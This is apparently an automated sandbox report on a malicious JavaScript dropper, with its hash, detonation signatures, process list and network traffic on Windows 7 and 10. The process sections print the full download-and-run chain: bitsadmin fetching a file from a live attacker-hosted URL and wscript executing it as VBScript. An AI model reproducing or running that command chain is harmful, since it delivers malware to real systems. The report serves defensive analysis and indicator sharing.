Malware Analysis Report

2024-10-24 20:52

Sample ID 240829-b72apszapl
Target 8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a.js
SHA256 8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a
Tags
dropper execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a

Threat Level: Likely malicious

The file 8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a.js was found to be: Likely malicious.

Malicious Activity Summary

dropper execution

Download via BitsAdmin

Checks computer location settings

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-29 01:47

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-29 01:47

Reported

2024-08-29 01:50

Platform

win7-20240708-en

Max time kernel

121s

Max time network

123s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a.js

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\System32\bitsadmin.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2160 wrote to memory of 2848 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 2160 wrote to memory of 2848 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 2160 wrote to memory of 2848 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 2160 wrote to memory of 888 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe
PID 2160 wrote to memory of 888 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe
PID 2160 wrote to memory of 888 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a.js

C:\Windows\System32\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://aeroox.000webhostapp.com/mes/010111100110101101001111111101011011100101011110 C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

C:\Windows\System32\wscript.exe

"C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

Network

Country Destination Domain Proto
US 8.8.8.8:53 aeroox.000webhostapp.com udp
US 145.14.145.141:443 aeroox.000webhostapp.com tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-29 01:47

Reported

2024-08-29 01:50

Platform

win10v2004-20240802-en

Max time kernel

135s

Max time network

140s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a.js

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\System32\bitsadmin.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4288 wrote to memory of 1776 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 4288 wrote to memory of 1776 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 4288 wrote to memory of 4408 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe
PID 4288 wrote to memory of 4408 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a.js

C:\Windows\System32\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://aeroox.000webhostapp.com/mes/010111100110101101001111111101011011100101011110 C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

C:\Windows\System32\wscript.exe

"C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 aeroox.000webhostapp.com udp
US 145.14.144.206:443 aeroox.000webhostapp.com tcp
US 8.8.8.8:53 206.144.14.145.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
NL 52.111.243.31:443 tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 85.65.42.20.in-addr.arpa udp

Files

N/A